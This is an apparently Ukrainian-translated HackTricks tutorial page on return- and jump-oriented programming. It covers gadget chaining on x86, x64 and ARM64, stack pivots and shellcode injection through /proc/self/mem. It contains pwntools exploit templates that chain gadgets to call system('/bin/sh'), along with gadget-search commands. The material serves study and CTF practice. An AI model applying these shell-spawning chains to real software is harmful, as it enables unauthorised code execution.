ROP & JOP
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Базова інформація
Return-Oriented Programming (ROP) — це просунутий метод експлуатації, що дозволяє обходити механізми захисту, такі як No-Execute (NX) або Data Execution Prevention (DEP). Замість ін’єкції та виконання shellcode, атакуючий використовує фрагменти коду, що вже присутні в бінарі або підвантажених бібліотеках, відомі як “gadgets”. Кожен gadget зазвичай завершується інструкцією ret і виконує невелику операцію, наприклад переміщення даних між регістрами або арифметичні дії. Зчіплюючи ці gadgets у ланцюжок, атакуючий може побудувати payload для виконання довільних операцій, ефективно обходячи захисти NX/DEP.
Як працює ROP
- Control Flow Hijacking: По-перше, атакуючий повинен захопити потік керування програми, зазвичай шляхом експлуатації buffer overflow для перезапису збереженої адреси повернення на стеку.
- Gadget Chaining: Атакуючий ретельно підбирає та зчіплює gadgets для виконання потрібних дій. Це може включати підготовку аргументів для виклику функції, сам виклик функції (наприклад,
system("/bin/sh")), та обробку необхідного очищення або додаткових операцій. - Payload Execution: Коли вразлива функція повертається, замість повернення у законне місце вона починає виконувати ланцюжок gadgets.
Інструменти
Зазвичай gadgets можна знайти за допомогою ROPgadget, ropper або безпосередньо з pwntools (ROP).
Приклад ROP-ланцюжка для x86
x86 (32-bit) Calling conventions
- cdecl: Викликаюча сторона очищає стек. Аргументи функції штовхаються на стек у зворотному порядку (справа-наліво). Аргументи штовхаються на стек справа наліво.
- stdcall: Схоже на cdecl, але викликана функція (callee) відповідає за очищення стеку.
Пошук Gadgets
Спочатку припустимо, що ми ідентифікували необхідні gadgets в бінарі або в його підвантажених бібліотеках. Gadgets, які нас цікавлять:
pop eax; ret: Цей gadget виймає верхнє значення стека в регістрEAX, а потім повертається, що дозволяє нам контролюватиEAX.pop ebx; ret: Аналогічно для регіструEBX, дозволяючи контролюватиEBX.mov [ebx], eax; ret: Переміщує значення зEAXу пам’ять за адресою зEBX, після чого повертається. Це часто називають write-what-where gadget.- Додатково, у нас є адреса функції
system().
ROP Chain
Використовуючи pwntools, ми готуємо стек для виконання ROP-ланцюжка наступним чином, прагнучи виконати system('/bin/sh'). Зверніть увагу, як ланцюжок починається з:
- Інструкція
retдля вирівнювання (необов’язково) - Адреса функції
system(припускаючи, що ASLR відключено і libc відома, більше інформації в Ret2lib) - Заповнювач для адреси повернення з
system() - Адреса рядка
"/bin/sh"(параметр для system)
from pwn import *
# Assuming we have the binary's ELF and its process
binary = context.binary = ELF('your_binary_here')
p = process(binary.path)
# Find the address of the string "/bin/sh" in the binary
bin_sh_addr = next(binary.search(b'/bin/sh\x00'))
# Address of system() function (hypothetical value)
system_addr = 0xdeadc0de
# A gadget to control the return address, typically found through analysis
ret_gadget = 0xcafebabe # This could be any gadget that allows us to control the return address
# Construct the ROP chain
rop_chain = [
ret_gadget, # This gadget is used to align the stack if necessary, especially to bypass stack alignment issues
system_addr, # Address of system(). Execution will continue here after the ret gadget
0x41414141, # Placeholder for system()'s return address. This could be the address of exit() or another safe place.
bin_sh_addr # Address of "/bin/sh" string goes here, as the argument to system()
]
# Flatten the rop_chain for use
rop_chain = b''.join(p32(addr) for addr in rop_chain)
# Send ROP chain
## offset is the number of bytes required to reach the return address on the stack
payload = fit({offset: rop_chain})
p.sendline(payload)
p.interactive()
ROP Chain in x64 Example
x64 (64-bit) Calling conventions
- Використовує System V AMD64 ABI calling convention на системах, схожих на Unix, де перші шість цілих або вказівникових аргументів передаються в регістри
RDI,RSI,RDX,RCX,R8, andR9. Додаткові аргументи передаються on the stack. Значення, що повертається, розміщується вRAX. - Windows x64 calling convention використовує
RCX,RDX,R8, andR9для перших чотирьох цілих або вказівникових аргументів, з додатковими аргументами, що передаються on the stack. Значення, що повертається, розміщується вRAX. - Registers: 64-bit registers включають
RAX,RBX,RCX,RDX,RSI,RDI,RBP,RSP, andR8toR15.
Finding Gadgets
Для наших цілей зосередимося на гаджетах, які дозволять встановити регістр RDI (щоб передати рядок “/bin/sh” як аргумент для system()) і потім викликати функцію system(). Припустимо, ми визначили такі гаджети:
- pop rdi; ret: Витягує верхнє значення зі stack у RDI, а потім повертається. Необхідний для встановлення аргументу для system().
- ret: Просте повернення, корисне для вирівнювання stack у деяких сценаріях.
І ми знаємо адресу функції system().
ROP Chain
Нижче приклад з використанням pwntools для створення та виконання ROP chain, що має на меті викликати system(‘/bin/sh’) на x64:
from pwn import *
# Assuming we have the binary's ELF and its process
binary = context.binary = ELF('your_binary_here')
p = process(binary.path)
# Find the address of the string "/bin/sh" in the binary
bin_sh_addr = next(binary.search(b'/bin/sh\x00'))
# Address of system() function (hypothetical value)
system_addr = 0xdeadbeefdeadbeef
# Gadgets (hypothetical values)
pop_rdi_gadget = 0xcafebabecafebabe # pop rdi; ret
ret_gadget = 0xdeadbeefdeadbead # ret gadget for alignment, if necessary
# Construct the ROP chain
rop_chain = [
ret_gadget, # Alignment gadget, if needed
pop_rdi_gadget, # pop rdi; ret
bin_sh_addr, # Address of "/bin/sh" string goes here, as the argument to system()
system_addr # Address of system(). Execution will continue here.
]
# Flatten the rop_chain for use
rop_chain = b''.join(p64(addr) for addr in rop_chain)
# Send ROP chain
## offset is the number of bytes required to reach the return address on the stack
payload = fit({offset: rop_chain})
p.sendline(payload)
p.interactive()
У цьому прикладі:
- Ми використовуємо гаджет
pop rdi; retщоб встановитиRDIна адресу"/bin/sh". - Після встановлення
RDIми безпосередньо переходимо доsystem(), з адресоюsystem()у ланцюжку. ret_gadgetвикористовується для вирівнювання стеку, якщо цільове середовище цього вимагає; це частіше потрібно в x64, щоб забезпечити правильне вирівнювання стеку перед викликом функцій.
Вирівнювання стеку
The x86-64 ABI гарантує, що стек вирівняний по 16 байтах, коли виконується інструкція call. LIBC, щоб оптимізувати продуктивність, використовує інструкції SSE (наприклад, movaps), які вимагають такого вирівнювання. Якщо стек не вирівняний належним чином (тобто значення RSP не кратне 16), виклики функцій на кшталт system у ROP chain зазнають невдачі. Щоб виправити це, просто додайте ret gadget перед викликом system у вашому ROP chain.
Різниця між x86 і x64
Tip
Оскільки x64 використовує регістри для передачі перших аргументів, це часто вимагає меншої кількості гаджетів, ніж x86 для простих викликів функцій, але знаходження та зчеплення потрібних гаджетів може бути складнішим через більшу кількість регістрів і більший адресний простір. Збільшена кількість регістрів та більший адресний простір у архітектурі x64 створюють як можливості, так і виклики для розробки експлойтів, особливо в контексті Return-Oriented Programming (ROP).
ROP chain в ARM64
Щодо ARM64 Basics & Calling conventions, перегляньте наступну сторінку для цієї інформації:
[!DANGER] Важливо зауважити, що при переході до функції за допомогою ROP в ARM64 слід переходити, щонайменше, до другої інструкції функції, щоб уникнути збереження у стек поточного вказівника стеку і потрапляння в безкінечний цикл повторних викликів функції.
Пошук гаджетів у system Dylds
Системні бібліотеки упаковуються в один файл під назвою dyld_shared_cache_arm64. Цей файл містить усі системні бібліотеки в стиснутому форматі. Щоб завантажити цей файл з мобільного пристрою, ви можете зробити:
scp [-J <domain>] root@10.11.1.1:/System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64 .
# -Use -J if connecting through Corellium via Quick Connect
Тоді ви можете використати кілька інструментів, щоб витягти фактичні бібліотеки з файлу dyld_shared_cache_arm64:
brew install keith/formulae/dyld-shared-cache-extractor
dyld-shared-cache-extractor dyld_shared_cache_arm64 dyld_extracted
Тепер, щоб знайти цікаві gadgets для binary, який ви експлуатуєте, спочатку потрібно дізнатися, які бібліотеки завантажені в цей binary. Для цього можна використати lldb*:
lldb ./vuln
br s -n main
run
image list
Нарешті, ви можете використовувати Ropper щоб знайти gadgets у бібліотеках, які вас цікавлять:
# Install
python3 -m pip install ropper --break-system-packages
ropper --file libcache.dylib --search "mov x0"
JOP - Jump Oriented Programming
JOP — це подібна техніка до ROP, але кожен gadget, замість використання інструкції RET наприкінці gadget, використовує jump addresses. Це може бути особливо корисним у ситуаціях, коли ROP неможливий, наприклад, коли немає підходящих gadgets. Це часто використовується в архітектурах ARM, де інструкція ret не є такою поширеною, як в архітектурах x86/x64.
Ви можете використовувати інструменти rop для пошуку JOP gadgets, наприклад:
cd usr/lib/system # (macOS or iOS) Let's check in these libs inside the dyld_shared_cache_arm64
ropper --file *.dylib --search "ldr x0, [x0" # Supposing x0 is pointing to the stack or heap and we control some space around there, we could search for Jop gadgets that load from x0
-
Є heap overflow, який дозволяє нам overwrite a function pointer що зберігається в heap і буде викликаний.
-
x0вказує на heap, де ми контролюємо деякий простір -
З завантажених system libraries ми знаходимо наступні gadgets:
0x00000001800d1918: ldr x0, [x0, #0x20]; ldr x2, [x0, #0x30]; br x2;
0x00000001800e6e58: ldr x0, [x0, #0x20]; ldr x3, [x0, #0x10]; br x3;
- Ми можемо використати перший gadget, щоб завантажити
x0вказівником на/bin/sh(збереженим у heap) і потім завантажити вx2(зx0 + 0x30) адресуsystemі перейти до неї.
Stack Pivot
Stack pivoting — це техніка, яка використовується в exploitation для зміни вказівника стеку (RSP в x64, SP в ARM64), щоб він вказував на контрольовану ділянку пам’яті, наприклад heap або буфер у stack, де атакуючий може розмістити свій payload (зазвичай ROP/JOP chain).
Examples of Stack Pivoting chains:
- Приклад: лише 1 gadget:
mov sp, x0; ldp x29, x30, [sp], #0x10; ret;
The `mov sp, x0` instruction sets the stack pointer to the value in `x0`, effectively pivoting the stack to a new location. The subsequent `ldp x29, x30, [sp], #0x10; ret;` instruction loads the frame pointer and return address from the new stack location and returns to the address in `x30`.
I found this gadget in libunwind.dylib
If x0 points to a heap you control, you can control the stack pointer and move the stack to the heap, and therefore you will control the stack.
0000001c61a9b9c:
ldr x16, [x0, #0xf8]; // Control x16
ldr x30, [x0, #0x100]; // Control x30
ldp x0, x1, [x0]; // Control x1
mov sp, x16; // Control sp
ret; // ret will jump to x30, which we control
To use this gadget you could use in the heap something like:
<address of x0 to keep x0> # ldp x0, x1, [x0]
<address of gadget> # Let's suppose this is the overflowed pointer that allows to call the ROP chain
"A" * 0xe8 (0xf8-16) # Fill until x0+0xf8
<address x0+16> # Lets point SP to x0+16 to control the stack
<next gadget> # This will go into x30, which will be called with ret (so add of 2nd gadget)
- Приклад кількох gadgets:
// G1: Typical PAC epilogue that restores frame and returns
// (seen in many leaf/non-leaf functions)
G1:
ldp x29, x30, [sp], #0x10 // restore FP/LR
autiasp // **PAC check on LR**
retab // **PAC-aware return**
// G2: Small helper that (dangerously) moves SP from FP
// (appears in some hand-written helpers / stubs; good to grep for)
G2:
mov sp, x29 // **pivot candidate**
ret
// G3: Reader on the new stack (common prologue/epilogue shape)
G3:
ldp x0, x1, [sp], #0x10 // consume args from "new" stack
ret
G1:
stp x8, x1, [sp] // Store at [sp] → value of x8 (attacker controlled) and at [sp+8] → value of x1 (attacker controlled)
ldr x8, [x0] // Load x8 with the value at address x0 (controlled by attacker, address of G2)
blr x8 // Branch to the address in x8 (controlled by attacker)
G2:
ldp x29, x30, [sp], #0x10 // Loads x8 -> x29 and x1 -> x30. The value in x1 is the value for G3
ret
G3:
mov sp, x29 // Pivot the stack to the address in x29, which was x8, and was controlled by the attacker possible pointing to the heap
ret
Shellcode через /proc/self/mem (Embedded Linux)
Якщо у вас уже є ROP chain, але no RWX mappings, альтернативою є записати shellcode у поточний процес за допомогою /proc/self/mem і потім перейти до нього. Це часто зустрічається на таргетах Embedded Linux, де /proc/self/mem може ігнорувати write protections на виконувані сегменти в типовій конфігурації.
Типова ідея ланцюга:
fd = open("/proc/self/mem", O_RDWR);
lseek(fd, target_addr, SEEK_SET); // e.g., a known RX mapping or code cave
write(fd, shellcode, shellcode_len);
((void(*)())target_addr)(); // ARM Thumb: jump to target_addr | 1
Якщо зберегти fd важко, багаторазовий виклик open() може зробити можливим вгадати дескриптор, який використовується для /proc/self/mem. На таргетах ARM Thumb пам’ятайте встановити молодший біт при переході (addr | 1).
Protections Against ROP and JOP
- ASLR & PIE: Ці захисти ускладнюють використання ROP, оскільки адреси гаджетів змінюються між виконаннями.
- Stack Canaries: У випадку BOF необхідно обійти збережений stack canary, щоб перезаписати вказівники повернення і скористатися ROP-ланцюжком.
- Lack of Gadgets: Якщо гаджетів недостатньо, неможливо буде згенерувати ROP-ланцюжок.
ROP based techniques
Зауважте, що ROP — це лише техніка для виконання довільного коду. На базі ROP було розроблено багато Ret2XXX технік:
- Ret2lib: Використовує ROP для виклику довільних функцій з завантаженої бібліотеки з довільними параметрами (зазвичай щось на кшталт
system('/bin/sh').
- Ret2Syscall: Використовує ROP для підготовки виклику syscall, наприклад
execve, і виконання довільних команд.
- EBP2Ret & EBP Chaining: Перший зловживає EBP замість EIP для контролю потоку, а другий схожий на Ret2lib, але в цьому випадку потік контролюється головним чином адресами EBP (хоча також потрібно контролювати EIP).
Other Examples & References
- https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions
- https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html
- 64 bit, Pie and nx enabled, no canary, overwrite RIP with a
vsyscalladdress with the sole purpose or return to the next address in the stack which will be a partial overwrite of the address to get the part of the function that leaks the flag - https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/
- arm64, no ASLR, ROP gadget to make stack executable and jump to shellcode in stack
- https://googleprojectzero.blogspot.com/2019/08/in-wild-ios-exploit-chain-4.html
References
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.


